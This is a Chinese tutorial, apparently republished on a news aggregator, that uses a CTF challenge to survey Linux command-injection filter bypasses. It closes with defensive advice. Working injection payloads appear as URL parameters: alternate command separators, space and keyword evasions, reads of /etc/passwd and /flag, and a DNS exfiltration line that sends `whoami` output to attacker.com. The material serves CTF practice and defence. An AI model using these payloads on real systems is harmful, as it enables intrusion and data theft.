当前位置: 首页 > news >正文

从一道CTF题看Linux命令注入的N种绕过姿势:不只是空格和cat

从一道CTF题看Linux命令注入的N种绕过姿势:不只是空格和cat

在渗透测试和CTF竞赛中,命令注入漏洞一直是Web安全领域的重要考点。不同于简单的SQL注入或XSS攻击,命令注入直接与操作系统交互,其危害性和灵活性都更为显著。本文将以一道典型的CTF题目为切入点,系统性地剖析Linux命令注入的各种高级绕过技术,帮助安全从业者构建更全面的防御思维。

1. 命令分隔符的七十二变

当我们在Web应用中发现了命令注入漏洞时,第一个需要突破的往往是如何将多个命令串联执行。常见的分号;可能被过滤,但Linux系统提供了丰富的替代方案:

  • 逻辑运算符&&(前命令成功则执行后命令)、||(前命令失败则执行后命令)
  • 后台执行符&将前命令放入后台执行,继续执行后命令
  • 管道符|将前命令输出作为后命令输入
  • 换行符%0a(URL编码的换行符)在HTTP请求中常能绕过过滤
# 实际CTF中的利用示例 ?ip=127.0.0.1%0aid # 使用换行符代替分号 ?ip=127.0.0.1||ls # 前ping命令失败时执行ls

注意:不同分隔符在Bash中的执行优先级不同,&&||具有相同的优先级,且高于;&

2. 空格绕过的艺术

空格是命令注入中最常被过滤的字符之一,但绕过方法远不止IFS一种:

绕过技术示例原理说明
IFS变量cat${IFS}file使用内部字段分隔符
重定向符cat<file利用输入重定向
大括号扩展{cat,file}Bash的大括号扩展语法
制表符cat\tfile使用Tab替代空格
URL编码cat%09file编码后的空格或制表符
# 使用大括号扩展绕过 ?ip=127.0.0.1;{ls,-la} # 使用重定向符 ?ip=127.0.0.1;cat</etc/passwd

3. 关键字黑名单的破解之道

catflag等关键词被过滤时,我们可以采用多种替代方案:

3.1 替代命令法

  • 文件读取:tacrevmorelessheadtailnl
  • 二进制查看:odxxdhexdump
  • 编码转换:base64uuencode

3.2 通配符技巧

# 使用通配符匹配文件名 ?ip=127.0.0.1;cat /fla? # 使用字符类 ?ip=127.0.0.1;cat /fla[a-g]

3.3 变量拼接

# 将命令拆分为变量 ?ip=127.0.0.1;a=c;b=at;c=flag;$a$b $c

4. 无回显场景下的盲注技术

当命令执行结果不直接显示时,可以采用以下技术:

  • 时间盲注:通过sleep命令观察响应延迟
  • DNS外带:利用dignslookup将数据外带
  • HTTP请求:使用curlwget发送数据到可控服务器
  • 文件写入:将结果写入web目录再访问
# DNS外带示例 ?ip=127.0.0.1;dig `whoami`.attacker.com # 时间盲注示例 ?ip=127.0.0.1;if [ -f /flag ]; then sleep 5; fi

5. 防御措施的全面思考

了解攻击手法是为了更好地防御。针对命令注入,建议采取多层防护:

  1. 输入验证:严格限制用户输入的字符集
  2. 参数化调用:使用execve等函数直接传递参数数组
  3. 最小权限:运行Web服务的用户应具有最小必要权限
  4. 命令白名单:如必须执行命令,应建立严格的命令白名单
# 安全的命令执行示例(Python) import subprocess subprocess.run(['ls', '-l'], check=True) # 避免shell=True

在实际渗透测试中,命令注入的绕过往往需要多种技术组合使用。我曾遇到一个案例,目标系统过滤了空格、分号和常见命令,最终通过%0a换行符配合大括号扩展成功实现了注入。这种不断突破限制的过程,正是安全研究的魅力所在。

http://www.jsqmd.com/news/927138/

相关文章:

  • STM32F1系列指纹锁全套开发资源:含原理图、Keil工程、FPM10A驱动与开锁控制代码
  • Unity项目资源管理避坑:Resources.Load用对了没?小心打包后图片消失!
  • Spring Boot 2.5.4项目里,Swagger 3.0集成knife4j后,如何优雅地给所有接口自动加上Token请求头?
  • 别再手动处理串口数据了!STM32CubeMX配置USART2的DMA+空闲中断,实现零阻塞自动接收(附蓝牙模块通信实例)
  • 告别死记硬背:用Python+Wireshark抓包实战解析NR C-DRX Inactivity Timer
  • PyCharm新手必看:解决‘pip不是命令’报错的3种方法(附Anaconda环境配置)
  • RESWO算法:高效故障检测技术在后量子密码硬件实现中的应用
  • K2-Think大模型安全评估与防御机制解析
  • 别再只用ST-LINK了!用FlyMCU给STM32串口烧录程序,手把手教你从接线到成功运行
  • 别再被商家忽悠了!HDMI 1.4和2.0线到底差在哪?手把手教你算清带宽和分辨率
  • 从Newtonsoft.Json迁移到System.Text.Json?这份避坑指南和完整代码示例请收好
  • 用PSO/GA/DE等算法跑CEC2017?这份Matlab通用测试框架帮你省下80%的重复代码
  • 从RAW、WAR到WAW:图解Tomasulo算法如何化解CPU指令冲突
  • 别再死记硬背了!用Java/Spring Boot实战案例,5分钟搞懂UML类图的6种关系
  • 避坑指南:SAP ABAP中调拨单过账接口开发的3个常见错误与性能优化技巧
  • DBeaver社区版安装后驱动更新总失败?手把手教你配置阿里云镜像(附MySQL版本匹配避坑指南)
  • 别再手动配Path了!用这个脚本一键修复Windows下MsBuild.exe命令找不到的问题
  • 别再只盯着LSTM了!2024年时序分类实战:用tsai库5分钟跑通MultiRocket
  • 基于RNN的个性化语言风格模仿:从零构建AI文本生成模型
  • Windows 10/11 上保姆级安装人大金仓KingbaseES V8R6,从下载到启动的完整避坑指南
  • 从业务痛点出发的机器学习实践:NLP Profiler开发与AI工程化思考
  • 别再瞎写抽奖了!从原神保底到洗牌算法,聊聊游戏里那些‘套路’背后的代码实现
  • 如何永久保存微信聊天记录:WeChatMsg完整指南与实用教程
  • 元宝 LeetCode 2902. 和带限制的子多重集合的数目 Java实现
  • 别再只开8848了!Nacos 2.0+ gRPC端口9848的完整配置指南(K8s/云服务器)
  • 告别老古董SigmaStudio!手把手教你用SigmaStudio+ 2.1为ADSP-21569做图形化开发(附资源下载)
  • 告别定时器PSC/ARR!用STM32H7的DAC+DMA双缓冲做DDS信号源,实测波形更稳
  • 5G手机省电的秘密:一文搞懂NR C-DRX中的Inactivity Timer如何工作
  • 别再花钱买电话系统了!手把手教你用VMware+FreePBX 16搭建企业免费内网电话(附静态IP避坑指南)
  • AI意识工程化:从整合信息理论到全局工作空间的技术路径与挑战